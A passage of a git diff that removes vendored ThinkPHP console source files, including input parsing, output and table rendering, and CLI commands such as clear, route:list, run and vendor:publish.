- $token = array_shift($tokens); - - foreach ($values as $value) { - if ($token === $value || 0 === strpos($token, $value . '=')) { - if (false !== $pos = strpos($token, '=')) { - return substr($token, $pos + 1); - } - - return array_shift($tokens); - } - } - } - - return $default; - } - - /** - * 验证输入 - * @throws \RuntimeException - */ - public function validate() - { - if (count($this->arguments) < $this->definition->getArgumentRequiredCount()) { - throw new \RuntimeException('Not enough arguments.'); - } - } - - /** - * 检查输入是否是交互的 - * @return bool - */ - public function isInteractive(): bool - { - return $this->interactive; - } - - /** - * 设置输入的交互 - * @param bool - */ - public function setInteractive(bool $interactive): void - { - $this->interactive = $interactive; - } - - /** - * 获取所有的参数 - * @return Argument[] - */ - public function getArguments(): array - { - return array_merge($this->definition->getArgumentDefaults(), $this->arguments); - } - - /** - * 根据名称获取参数 - * @param string $name 参数名 - * @return mixed - * @throws \InvalidArgumentException - */ - public function getArgument(string $name) - { - if (!$this->definition->hasArgument($name)) { - throw new \InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); - } - - return $this->arguments[$name] ?? $this->definition->getArgument($name) - ->getDefault(); - } - - /** - * 设置参数的值 - * @param string $name 参数名 - * @param string $value 值 - * @throws \InvalidArgumentException - */ - public function setArgument(string $name, $value) - { - if (!$this->definition->hasArgument($name)) { - throw new \InvalidArgumentException(sprintf('The "%s" argument does not exist.', $name)); - } - - $this->arguments[$name] = $value; - } - - /** - * 检查是否存在某个参数 - * @param string|int $name 参数名或位置 - * @return bool - */ - public function hasArgument($name): bool - { - return $this->definition->hasArgument($name); - } - - /** - * 获取所有的选项 - * @return Option[] - */ - public function getOptions(): array - { - return array_merge($this->definition->getOptionDefaults(), $this->options); - } - - /** - * 获取选项值 - * @param string $name 选项名称 - * @return mixed - * @throws \InvalidArgumentException - */ - public function getOption(string $name) - { - if (!$this->definition->hasOption($name)) { - throw new \InvalidArgumentException(sprintf('The "%s" option does not exist.', $name)); - } - - return $this->options[$name] ?? $this->definition->getOption($name)->getDefault(); - } - - /** - * 设置选项值 - * @param string $name 选项名 - * @param string|bool $value 值 - * @throws \InvalidArgumentException - */ - public function setOption(string $name, $value): void - { - if (!$this->definition->hasOption($name)) { - throw new \InvalidArgumentException(sprintf('The "%s" option does not exist.', $name)); - } - - $this->options[$name] = $value; - } - - /** - * 是否有某个选项 - * @param string $name 选项名 - * @return bool - */ - public function hasOption(string $name): bool - { - return $this->definition->hasOption($name) && isset($this->options[$name]); - } - - /** - * 转义指令 - * @param string $token - * @return string - */ - public function escapeToken(string $token): string - { - return preg_match('{^[\w-]+$}', $token) ? $token : escapeshellarg($token); - } - - /** - * 返回传递给命令的参数的字符串 - * @return string - */ - public function __toString() - { - $tokens = array_map(function ($token) { - if (preg_match('{^(-[^=]+=)(.+)}', $token, $match)) { - return $match[1] . $this->escapeToken($match[2]); - } - - if ($token && '-' !== $token[0]) { - return $this->escapeToken($token); - } - - return $token; - }, $this->tokens); - - return implode(' ', $tokens); - } -} diff --git a/vendor/topthink/framework/src/think/console/LICENSE b/vendor/topthink/framework/src/think/console/LICENSE deleted file mode 100644 index 0abe056..0000000 --- a/vendor/topthink/framework/src/think/console/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2004-2016 Fabien Potencier - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. \ No newline at end of file diff --git a/vendor/topthink/framework/src/think/console/Output.php b/vendor/topthink/framework/src/think/console/Output.php deleted file mode 100644 index 294c4b8..0000000 --- a/vendor/topthink/framework/src/think/console/Output.php +++ /dev/null @@ -1,231 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\console; - -use Exception; -use think\console\output\Ask; -use think\console\output\Descriptor; -use think\console\output\driver\Buffer; -use think\console\output\driver\Console; -use think\console\output\driver\Nothing; -use think\console\output\Question; -use think\console\output\question\Choice; -use think\console\output\question\Confirmation; -use Throwable; - -/** - * Class Output - * @package think\console - * - * @see \think\console\output\driver\Console::setDecorated - * @method void setDecorated($decorated) - * - * @see \think\console\output\driver\Buffer::fetch - * @method string fetch() - * - * @method void info($message) - * @method void error($message) - * @method void comment($message) - * @method void warning($message) - * @method void highlight($message) - * @method void question($message) - */ -class Output -{ - // 不显示信息(静默) - const VERBOSITY_QUIET = 0; - // 正常信息 - const VERBOSITY_NORMAL = 1; - // 详细信息 - const VERBOSITY_VERBOSE = 2; - // 非常详细的信息 - const VERBOSITY_VERY_VERBOSE = 3; - // 调试信息 - const VERBOSITY_DEBUG = 4; - - const OUTPUT_NORMAL = 0; - const OUTPUT_RAW = 1; - const OUTPUT_PLAIN = 2; - - // 输出信息级别 - private $verbosity = self::VERBOSITY_NORMAL; - - /** @var Buffer|Console|Nothing */ - private $handle = null; - - protected $styles = [ - 'info', - 'error', - 'comment', - 'question', - 'highlight', - 'warning', - ]; - - public function __construct($driver = 'console') - { - $class = '\\think\\console\\output\\driver\\' . ucwords($driver); - - $this->handle = new $class($this); - } - - public function ask(Input $input, $question, $default = null, $validator = null) - { - $question = new Question($question, $default); - $question->setValidator($validator); - - return $this->askQuestion($input, $question); - } - - public function askHidden(Input $input, $question, $validator = null) - { - $question = new Question($question); - - $question->setHidden(true); - $question->setValidator($validator); - - return $this->askQuestion($input, $question); - } - - public function confirm(Input $input, $question, $default = true) - { - return $this->askQuestion($input, new Confirmation($question, $default)); - } - - /** - * {@inheritdoc} - */ - public function choice(Input $input, $question, array $choices, $default = null) - { - if (null !== $default) { - $values = array_flip($choices); - $default = $values[$default]; - } - - return $this->askQuestion($input, new Choice($question, $choices, $default)); - } - - protected function askQuestion(Input $input, Question $question) - { - $ask = new Ask($input, $this, $question); - $answer = $ask->run(); - - if ($input->isInteractive()) { - $this->newLine(); - } - - return $answer; - } - - protected function block(string $style, string $message): void - { - $this->writeln("<{$style}>{$message}"); - } - - /** - * 输出空行 - * @param int $count - */ - public function newLine(int $count = 1): void - { - $this->write(str_repeat(PHP_EOL, $count)); - } - - /** - * 输出信息并换行 - * @param string $messages - * @param int $type - */ - public function writeln(string $messages, int $type = 0): void - { - $this->write($messages, true, $type); - } - - /** - * 输出信息 - * @param string $messages - * @param bool $newline - * @param int $type - */ - public function write(string $messages, bool $newline = false, int $type = 0): void - { - $this->handle->write($messages, $newline, $type); - } - - public function renderException(Throwable $e): void - { - $this->handle->renderException($e); - } - - /** - * 设置输出信息级别 - * @param int $level 输出信息级别 - */ - public function setVerbosity(int $level) - { - $this->verbosity = $level; - } - - /** - * 获取输出信息级别 - * @return int - */ - public function getVerbosity(): int - { - return $this->verbosity; - } - - public function isQuiet(): bool - { - return self::VERBOSITY_QUIET === $this->verbosity; - } - - public function isVerbose(): bool - { - return self::VERBOSITY_VERBOSE <= $this->verbosity; - } - - public function isVeryVerbose(): bool - { - return self::VERBOSITY_VERY_VERBOSE <= $this->verbosity; - } - - public function isDebug(): bool - { - return self::VERBOSITY_DEBUG <= $this->verbosity; - } - - public function describe($object, array $options = []): void - { - $descriptor = new Descriptor(); - $options = array_merge([ - 'raw_text' => false, - ], $options); - - $descriptor->describe($this, $object, $options); - } - - public function __call($method, $args) - { - if (in_array($method, $this->styles)) { - array_unshift($args, $method); - return call_user_func_array([$this, 'block'], $args); - } - - if ($this->handle && method_exists($this->handle, $method)) { - return call_user_func_array([$this->handle, $method], $args); - } else { - throw new Exception('method not exists:' . __CLASS__ . '->' . $method); - } - } -} diff --git a/vendor/topthink/framework/src/think/console/Table.php b/vendor/topthink/framework/src/think/console/Table.php deleted file mode 100644 index 5a861d7..0000000 --- a/vendor/topthink/framework/src/think/console/Table.php +++ /dev/null @@ -1,300 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\console; - -class Table -{ - const ALIGN_LEFT = 1; - const ALIGN_RIGHT = 0; - const ALIGN_CENTER = 2; - - /** - * 头信息数据 - * @var array - */ - protected $header = []; - - /** - * 头部对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER - * @var int - */ - protected $headerAlign = 1; - - /** - * 表格数据(二维数组) - * @var array - */ - protected $rows = []; - - /** - * 单元格对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER - * @var int - */ - protected $cellAlign = 1; - - /** - * 单元格宽度信息 - * @var array - */ - protected $colWidth = []; - - /** - * 表格输出样式 - * @var string - */ - protected $style = 'default'; - - /** - * 表格样式定义 - * @var array - */ - protected $format = [ - 'compact' => [], - 'default' => [ - 'top' => ['+', '-', '+', '+'], - 'cell' => ['|', ' ', '|', '|'], - 'middle' => ['+', '-', '+', '+'], - 'bottom' => ['+', '-', '+', '+'], - 'cross-top' => ['+', '-', '-', '+'], - 'cross-bottom' => ['+', '-', '-', '+'], - ], - 'markdown' => [ - 'top' => [' ', ' ', ' ', ' '], - 'cell' => ['|', ' ', '|', '|'], - 'middle' => ['|', '-', '|', '|'], - 'bottom' => [' ', ' ', ' ', ' '], - 'cross-top' => ['|', ' ', ' ', '|'], - 'cross-bottom' => ['|', ' ', ' ', '|'], - ], - 'borderless' => [ - 'top' => ['=', '=', ' ', '='], - 'cell' => [' ', ' ', ' ', ' '], - 'middle' => ['=', '=', ' ', '='], - 'bottom' => ['=', '=', ' ', '='], - 'cross-top' => ['=', '=', ' ', '='], - 'cross-bottom' => ['=', '=', ' ', '='], - ], - 'box' => [ - 'top' => ['┌', '─', '┬', '┐'], - 'cell' => ['│', ' ', '│', '│'], - 'middle' => ['├', '─', '┼', '┤'], - 'bottom' => ['└', '─', '┴', '┘'], - 'cross-top' => ['├', '─', '┴', '┤'], - 'cross-bottom' => ['├', '─', '┬', '┤'], - ], - 'box-double' => [ - 'top' => ['╔', '═', '╤', '╗'], - 'cell' => ['║', ' ', '│', '║'], - 'middle' => ['╠', '─', '╪', '╣'], - 'bottom' => ['╚', '═', '╧', '╝'], - 'cross-top' => ['╠', '═', '╧', '╣'], - 'cross-bottom' => ['╠', '═', '╤', '╣'], - ], - ]; - - /** - * 设置表格头信息 以及对齐方式 - * @access public - * @param array $header 要输出的Header信息 - * @param int $align 对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER - * @return void - */ - public function setHeader(array $header, int $align = 1): void - { - $this->header = $header; - $this->headerAlign = $align; - - $this->checkColWidth($header); - } - - /** - * 设置输出表格数据 及对齐方式 - * @access public - * @param array $rows 要输出的表格数据(二维数组) - * @param int $align 对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER - * @return void - */ - public function setRows(array $rows, int $align = 1): void - { - $this->rows = $rows; - $this->cellAlign = $align; - - foreach ($rows as $row) { - $this->checkColWidth($row); - } - } - - /** - * 设置全局单元格对齐方式 - * @param int $align 对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER - * @return $this - */ - public function setCellAlign(int $align = 1) - { - $this->cellAlign = $align; - return $this; - } - - /** - * 检查列数据的显示宽度 - * @access public - * @param mixed $row 行数据 - * @return void - */ - protected function checkColWidth($row): void - { - if (is_array($row)) { - foreach ($row as $key => $cell) { - $width = mb_strwidth((string) $cell); - if (!isset($this->colWidth[$key]) || $width > $this->colWidth[$key]) { - $this->colWidth[$key] = $width; - } - } - } - } - - /** - * 增加一行表格数据 - * @access public - * @param mixed $row 行数据 - * @param bool $first 是否在开头插入 - * @return void - */ - public function addRow($row, bool $first = false): void - { - if ($first) { - array_unshift($this->rows, $row); - } else { - $this->rows[] = $row; - } - - $this->checkColWidth($row); - } - - /** - * 设置输出表格的样式 - * @access public - * @param string $style 样式名 - * @return void - */ - public function setStyle(string $style): void - { - $this->style = isset($this->format[$style]) ? $style : 'default'; - } - - /** - * 输出分隔行 - * @access public - * @param string $pos 位置 - * @return string - */ - protected function renderSeparator(string $pos): string - { - $style = $this->getStyle($pos); - $array = []; - - foreach ($this->colWidth as $width) { - $array[] = str_repeat($style[1], $width + 2); - } - - return $style[0] . implode($style[2], $array) . $style[3] . PHP_EOL; - } - - /** - * 输出表格头部 - * @access public - * @return string - */ - protected function renderHeader(): string - { - $style = $this->getStyle('cell'); - $content = $this->renderSeparator('top'); - - foreach ($this->header as $key => $header) { - $array[] = ' ' . str_pad($header, $this->colWidth[$key], $style[1], $this->headerAlign); - } - - if (!empty($array)) { - $content .= $style[0] . implode(' ' . $style[2], $array) . ' ' . $style[3] . PHP_EOL; - - if (!empty($this->rows)) { - $content .= $this->renderSeparator('middle'); - } - } - - return $content; - } - - protected function getStyle(string $style): array - { - if ($this->format[$this->style]) { - $style = $this->format[$this->style][$style]; - } else { - $style = [' ', ' ', ' ', ' ']; - } - - return $style; - } - - /** - * 输出表格 - * @access public - * @param array $dataList 表格数据 - * @return string - */ - public function render(array $dataList = []): string - { - if (!empty($dataList)) { - $this->setRows($dataList); - } - - // 输出头部 - $content = $this->renderHeader(); - $style = $this->getStyle('cell'); - - if (!empty($this->rows)) { - foreach ($this->rows as $row) { - if (is_string($row) && '-' === $row) { - $content .= $this->renderSeparator('middle'); - } elseif (is_scalar($row)) { - $content .= $this->renderSeparator('cross-top'); - $width = 3 * (count($this->colWidth) - 1) + array_reduce($this->colWidth, function ($a, $b) { - return $a + $b; - }); - $array = str_pad($row, $width); - - $content .= $style[0] . ' ' . $array . ' ' . $style[3] . PHP_EOL; - $content .= $this->renderSeparator('cross-bottom'); - } else { - $array = []; - - foreach ($row as $key => $val) { - $width = $this->colWidth[$key]; - // form https://github.com/symfony/console/blob/20c9821c8d1c2189f287dcee709b2f86353ea08f/Helper/Table.php#L467 - // str_pad won't work properly with multi-byte strings, we need to fix the padding - if (false !== $encoding = mb_detect_encoding((string) $val, null, true)) { - $width += strlen((string) $val) - mb_strwidth((string) $val, $encoding); - } - $array[] = ' ' . str_pad((string) $val, $width, ' ', $this->cellAlign); - } - - $content .= $style[0] . implode(' ' . $style[2], $array) . ' ' . $style[3] . PHP_EOL; - } - } - } - - $content .= $this->renderSeparator('bottom'); - - return $content; - } -} diff --git a/vendor/topthink/framework/src/think/console/bin/README.md b/vendor/topthink/framework/src/think/console/bin/README.md deleted file mode 100644 index 9acc52f..0000000 --- a/vendor/topthink/framework/src/think/console/bin/README.md +++ /dev/null @@ -1 +0,0 @@ -console 工具使用 hiddeninput.exe 在 windows 上隐藏密码输入,该二进制文件由第三方提供,相关源码和其他细节可以在 [Hidden Input](https://github.com/Seldaek/hidden-input) 找到。 diff --git a/vendor/topthink/framework/src/think/console/bin/hiddeninput.exe b/vendor/topthink/framework/src/think/console/bin/hiddeninput.exe deleted file mode 100644 index c8cf65e..0000000 Binary files a/vendor/topthink/framework/src/think/console/bin/hiddeninput.exe and /dev/null differ diff --git a/vendor/topthink/framework/src/think/console/command/Clear.php b/vendor/topthink/framework/src/think/console/command/Clear.php deleted file mode 100644 index da70b35..0000000 --- a/vendor/topthink/framework/src/think/console/command/Clear.php +++ /dev/null @@ -1,85 +0,0 @@ - -// +---------------------------------------------------------------------- -namespace think\console\command; - -use think\console\Command; -use think\console\Input; -use think\console\input\Option; -use think\console\Output; - -class Clear extends Command -{ - protected function configure() - { - // 指令配置 - $this->setName('clear') - ->addOption('path', 'd', Option::VALUE_OPTIONAL, 'path to clear', null) - ->addOption('cache', 'c', Option::VALUE_NONE, 'clear cache file') - ->addOption('log', 'l', Option::VALUE_NONE, 'clear log file') - ->addOption('dir', 'r', Option::VALUE_NONE, 'clear empty dir') - ->addOption('expire', 'e', Option::VALUE_NONE, 'clear cache file if cache has expired') - ->setDescription('Clear runtime file'); - } - - protected function execute(Input $input, Output $output) - { - $runtimePath = $this->app->getRootPath() . 'runtime' . DIRECTORY_SEPARATOR; - - if ($input->getOption('cache')) { - $path = $runtimePath . 'cache'; - } elseif ($input->getOption('log')) { - $path = $runtimePath . 'log'; - } else { - $path = $input->getOption('path') ?: $runtimePath; - } - - $rmdir = $input->getOption('dir') ? true : false; - // --expire 仅当 --cache 时生效 - $cache_expire = $input->getOption('expire') && $input->getOption('cache') ? true : false; - $this->clear(rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR, $rmdir, $cache_expire); - - $output->writeln("Clear Successed"); - } - - protected function clear(string $path, bool $rmdir, bool $cache_expire): void - { - $files = is_dir($path) ? scandir($path) : []; - - foreach ($files as $file) { - if ('.' != $file && '..' != $file && is_dir($path . $file)) { - $this->clear($path . $file . DIRECTORY_SEPARATOR, $rmdir, $cache_expire); - if ($rmdir) { - @rmdir($path . $file); - } - } elseif ('.gitignore' != $file && is_file($path . $file)) { - if ($cache_expire) { - if ($this->cacheHasExpired($path . $file)) { - unlink($path . $file); - } - } else { - unlink($path . $file); - } - } - } - } - - /** - * 缓存文件是否已过期 - * @param $filename string 文件路径 - * @return bool - */ - protected function cacheHasExpired($filename) { - $content = file_get_contents($filename); - $expire = (int) substr($content, 8, 12); - return 0 != $expire && time() - $expire > filemtime($filename); - } - -} diff --git a/vendor/topthink/framework/src/think/console/command/Help.php b/vendor/topthink/framework/src/think/console/command/Help.php deleted file mode 100644 index 2e4f2ca..0000000 --- a/vendor/topthink/framework/src/think/console/command/Help.php +++ /dev/null @@ -1,70 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\command; - -use think\console\Command; -use think\console\Input; -use think\console\input\Argument as InputArgument; -use think\console\input\Option as InputOption; -use think\console\Output; - -class Help extends Command -{ - - private $command; - - /** - * {@inheritdoc} - */ - protected function configure() - { - $this->ignoreValidationErrors(); - - $this->setName('help')->setDefinition([ - new InputArgument('command_name', InputArgument::OPTIONAL, 'The command name', 'help'), - new InputOption('raw', null, InputOption::VALUE_NONE, 'To output raw command help'), - ])->setDescription('Displays help for a command')->setHelp( - <<%command.name% command displays help for a given command: - - php %command.full_name% list - -To display the list of available commands, please use the list command. -EOF - ); - } - - /** - * Sets the command. - * @param Command $command The command to set - */ - public function setCommand(Command $command): void - { - $this->command = $command; - } - - /** - * {@inheritdoc} - */ - protected function execute(Input $input, Output $output) - { - if (null === $this->command) { - $this->command = $this->getConsole()->find($input->getArgument('command_name')); - } - - $output->describe($this->command, [ - 'raw_text' => $input->getOption('raw'), - ]); - - $this->command = null; - } -} diff --git a/vendor/topthink/framework/src/think/console/command/Lists.php b/vendor/topthink/framework/src/think/console/command/Lists.php deleted file mode 100644 index d20fc75..0000000 --- a/vendor/topthink/framework/src/think/console/command/Lists.php +++ /dev/null @@ -1,74 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\command; - -use think\console\Command; -use think\console\Input; -use think\console\input\Argument as InputArgument; -use think\console\input\Definition as InputDefinition; -use think\console\input\Option as InputOption; -use think\console\Output; - -class Lists extends Command -{ - /** - * {@inheritdoc} - */ - protected function configure() - { - $this->setName('list')->setDefinition($this->createDefinition())->setDescription('Lists commands')->setHelp( - <<%command.name% command lists all commands: - - php %command.full_name% - -You can also display the commands for a specific namespace: - - php %command.full_name% test - -It's also possible to get raw list of commands (useful for embedding command runner): - - php %command.full_name% --raw -EOF - ); - } - - /** - * {@inheritdoc} - */ - public function getNativeDefinition(): InputDefinition - { - return $this->createDefinition(); - } - - /** - * {@inheritdoc} - */ - protected function execute(Input $input, Output $output) - { - $output->describe($this->getConsole(), [ - 'raw_text' => $input->getOption('raw'), - 'namespace' => $input->getArgument('namespace'), - ]); - } - - /** - * {@inheritdoc} - */ - private function createDefinition(): InputDefinition - { - return new InputDefinition([ - new InputArgument('namespace', InputArgument::OPTIONAL, 'The namespace name'), - new InputOption('raw', null, InputOption::VALUE_NONE, 'To output raw command list'), - ]); - } -} diff --git a/vendor/topthink/framework/src/think/console/command/Make.php b/vendor/topthink/framework/src/think/console/command/Make.php deleted file mode 100644 index 662b337..0000000 --- a/vendor/topthink/framework/src/think/console/command/Make.php +++ /dev/null @@ -1,99 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\console\command; - -use think\console\Command; -use think\console\Input; -use think\console\input\Argument; -use think\console\Output; - -abstract class Make extends Command -{ - protected $type; - - abstract protected function getStub(); - - protected function configure() - { - $this->addArgument('name', Argument::REQUIRED, "The name of the class"); - } - - protected function execute(Input $input, Output $output) - { - $name = trim($input->getArgument('name')); - - $classname = $this->getClassName($name); - - $pathname = $this->getPathName($classname); - - if (is_file($pathname)) { - $output->writeln('' . $this->type . ':' . $classname . ' already exists!'); - return false; - } - - if (!is_dir(dirname($pathname))) { - mkdir(dirname($pathname), 0755, true); - } - - file_put_contents($pathname, $this->buildClass($classname)); - - $output->writeln('' . $this->type . ':' . $classname . ' created successfully.'); - } - - protected function buildClass(string $name) - { - $stub = file_get_contents($this->getStub()); - - $namespace = trim(implode('\\', array_slice(explode('\\', $name), 0, -1)), '\\'); - - $class = str_replace($namespace . '\\', '', $name); - - return str_replace(['{%className%}', '{%actionSuffix%}', '{%namespace%}', '{%app_namespace%}'], [ - $class, - $this->app->config->get('route.action_suffix'), - $namespace, - $this->app->getNamespace(), - ], $stub); - } - - protected function getPathName(string $name): string - { - $name = str_replace('app\\', '', $name); - - return $this->app->getBasePath() . ltrim(str_replace('\\', '/', $name), '/') . '.php'; - } - - protected function getClassName(string $name): string - { - if (strpos($name, '\\') !== false) { - return $name; - } - - if (strpos($name, '@')) { - [$app, $name] = explode('@', $name); - } else { - $app = ''; - } - - if (strpos($name, '/') !== false) { - $name = str_replace('/', '\\', $name); - } - - return $this->getNamespace($app) . '\\' . $name; - } - - protected function getNamespace(string $app): string - { - return 'app' . ($app ? '\\' . $app : ''); - } - -} diff --git a/vendor/topthink/framework/src/think/console/command/RouteList.php b/vendor/topthink/framework/src/think/console/command/RouteList.php deleted file mode 100644 index ed579b8..0000000 --- a/vendor/topthink/framework/src/think/console/command/RouteList.php +++ /dev/null @@ -1,129 +0,0 @@ - -// +---------------------------------------------------------------------- -namespace think\console\command; - -use think\console\Command; -use think\console\Input; -use think\console\input\Argument; -use think\console\input\Option; -use think\console\Output; -use think\console\Table; -use think\event\RouteLoaded; - -class RouteList extends Command -{ - protected $sortBy = [ - 'rule' => 0, - 'route' => 1, - 'method' => 2, - 'name' => 3, - 'domain' => 4, - ]; - - protected function configure() - { - $this->setName('route:list') - ->addArgument('dir', Argument::OPTIONAL, 'dir name .') - ->addArgument('style', Argument::OPTIONAL, "the style of the table.", 'default') - ->addOption('sort', 's', Option::VALUE_OPTIONAL, 'order by rule name.', 0) - ->addOption('more', 'm', Option::VALUE_NONE, 'show route options.') - ->setDescription('show route list.'); - } - - protected function execute(Input $input, Output $output) - { - $dir = $input->getArgument('dir') ?: ''; - - $filename = $this->app->getRootPath() . 'runtime' . DIRECTORY_SEPARATOR . ($dir ? $dir . DIRECTORY_SEPARATOR : '') . 'route_list.php'; - - if (is_file($filename)) { - unlink($filename); - } elseif (!is_dir(dirname($filename))) { - mkdir(dirname($filename), 0755); - } - - $content = $this->getRouteList($dir); - file_put_contents($filename, 'Route List' . PHP_EOL . $content); - } - - protected function getRouteList(string $dir = null): string - { - $this->app->route->setTestMode(true); - $this->app->route->clear(); - - if ($dir) { - $path = $this->app->getRootPath() . 'route' . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR; - } else { - $path = $this->app->getRootPath() . 'route' . DIRECTORY_SEPARATOR; - } - - $files = is_dir($path) ? scandir($path) : []; - - foreach ($files as $file) { - if (strpos($file, '.php')) { - include $path . $file; - } - } - - //触发路由载入完成事件 - $this->app->event->trigger(RouteLoaded::class); - - $table = new Table(); - - if ($this->input->hasOption('more')) { - $header = ['Rule', 'Route', 'Method', 'Name', 'Domain', 'Option', 'Pattern']; - } else { - $header = ['Rule', 'Route', 'Method', 'Name']; - } - - $table->setHeader($header); - - $routeList = $this->app->route->getRuleList(); - $rows = []; - - foreach ($routeList as $item) { - $item['route'] = $item['route'] instanceof \Closure ? '' : $item['route']; - - if ($this->input->hasOption('more')) { - $item = [$item['rule'], $item['route'], $item['method'], $item['name'], $item['domain'], json_encode($item['option']), json_encode($item['pattern'])]; - } else { - $item = [$item['rule'], $item['route'], $item['method'], $item['name']]; - } - - $rows[] = $item; - } - - if ($this->input->getOption('sort')) { - $sort = strtolower($this->input->getOption('sort')); - - if (isset($this->sortBy[$sort])) { - $sort = $this->sortBy[$sort]; - } - - uasort($rows, function ($a, $b) use ($sort) { - $itemA = $a[$sort] ?? null; - $itemB = $b[$sort] ?? null; - - return strcasecmp($itemA, $itemB); - }); - } - - $table->setRows($rows); - - if ($this->input->getArgument('style')) { - $style = $this->input->getArgument('style'); - $table->setStyle($style); - } - - return $this->table($table); - } - -} diff --git a/vendor/topthink/framework/src/think/console/command/RunServer.php b/vendor/topthink/framework/src/think/console/command/RunServer.php deleted file mode 100644 index 20a2466..0000000 --- a/vendor/topthink/framework/src/think/console/command/RunServer.php +++ /dev/null @@ -1,72 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\console\command; - -use think\console\Command; -use think\console\Input; -use think\console\input\Option; -use think\console\Output; - -class RunServer extends Command -{ - public function configure() - { - $this->setName('run') - ->addOption( - 'host', - 'H', - Option::VALUE_OPTIONAL, - 'The host to server the application on', - '0.0.0.0' - ) - ->addOption( - 'port', - 'p', - Option::VALUE_OPTIONAL, - 'The port to server the application on', - 8000 - ) - ->addOption( - 'root', - 'r', - Option::VALUE_OPTIONAL, - 'The document root of the application', - '' - ) - ->setDescription('PHP Built-in Server for ThinkPHP'); - } - - public function execute(Input $input, Output $output) - { - $host = $input->getOption('host'); - $port = $input->getOption('port'); - $root = $input->getOption('root'); - if (empty($root)) { - $root = $this->app->getRootPath() . 'public'; - } - - $command = sprintf( - 'php -S %s:%d -t %s %s', - $host, - $port, - escapeshellarg($root), - escapeshellarg($root . DIRECTORY_SEPARATOR . 'router.php') - ); - - $output->writeln(sprintf('ThinkPHP Development server is started On ', '0.0.0.0' == $host ? '127.0.0.1' : $host, $port)); - $output->writeln(sprintf('You can exit with `CTRL-C`')); - $output->writeln(sprintf('Document root is: %s', $root)); - passthru($command); - } - -} diff --git a/vendor/topthink/framework/src/think/console/command/ServiceDiscover.php b/vendor/topthink/framework/src/think/console/command/ServiceDiscover.php deleted file mode 100644 index 16eafce..0000000 --- a/vendor/topthink/framework/src/think/console/command/ServiceDiscover.php +++ /dev/null @@ -1,52 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\console\command; - -use think\console\Command; -use think\console\Input; -use think\console\Output; - -class ServiceDiscover extends Command -{ - public function configure() - { - $this->setName('service:discover') - ->setDescription('Discover Services for ThinkPHP'); - } - - public function execute(Input $input, Output $output) - { - if (is_file($path = $this->app->getRootPath() . 'vendor/composer/installed.json')) { - $packages = json_decode(@file_get_contents($path), true); - // Compatibility with Composer 2.0 - if (isset($packages['packages'])) { - $packages = $packages['packages']; - } - - $services = []; - foreach ($packages as $package) { - if (!empty($package['extra']['think']['services'])) { - $services = array_merge($services, (array) $package['extra']['think']['services']); - } - } - - $header = '// This file is automatically generated at:' . date('Y-m-d H:i:s') . PHP_EOL . 'declare (strict_types = 1);' . PHP_EOL; - - $content = 'app->getRootPath() . 'vendor/services.php', $content); - - $output->writeln('Succeed!'); - } - } -} diff --git a/vendor/topthink/framework/src/think/console/command/VendorPublish.php b/vendor/topthink/framework/src/think/console/command/VendorPublish.php deleted file mode 100644 index 7b43762..0000000 --- a/vendor/topthink/framework/src/think/console/command/VendorPublish.php +++ /dev/null @@ -1,66 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\console\command; - -use think\console\Command; -use think\console\input\Option; - -class VendorPublish extends Command -{ - public function configure() - { - $this->setName('vendor:publish') - ->addOption('force', 'f', Option::VALUE_NONE, 'Overwrite any existing files') - ->setDescription('Publish any publishable assets from vendor packages'); - } - - public function handle() - { - - $force = $this->input->getOption('force'); - - if (is_file($path = $this->app->getRootPath() . 'vendor/composer/installed.json')) { - $packages = json_decode(@file_get_contents($path), true); - - foreach ($packages as $package) { - //配置 - $configDir = $this->app->getConfigPath(); - - if (!empty($package['extra']['think']['config'])) { - - $installPath = $this->app->getRootPath() . 'vendor/' . $package['name'] . DIRECTORY_SEPARATOR; - - foreach ((array) $package['extra']['think']['config'] as $name => $file) { - - $target = $configDir . $name . '.php'; - $source = $installPath . $file; - - if (is_file($target) && !$force) { - $this->output->info("File {$target} exist!"); - continue; - } - - if (!is_file($source)) { - $this->output->info("File {$source} not exist!"); - continue; - } - - copy($source, $target); - } - } - } - - $this->output->writeln('Succeed!'); - } - } -} diff --git a/vendor/topthink/framework/src/think/console/command/Version.php b/vendor/topthink/framework/src/think/console/command/Version.php deleted file mode 100644 index beb49d2..0000000 --- a/vendor/topthink/framework/src/think/console/command/Version.php +++ /dev/null @@ -1,33 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\console\command; - -use think\console\Command; -use think\console\Input; -use 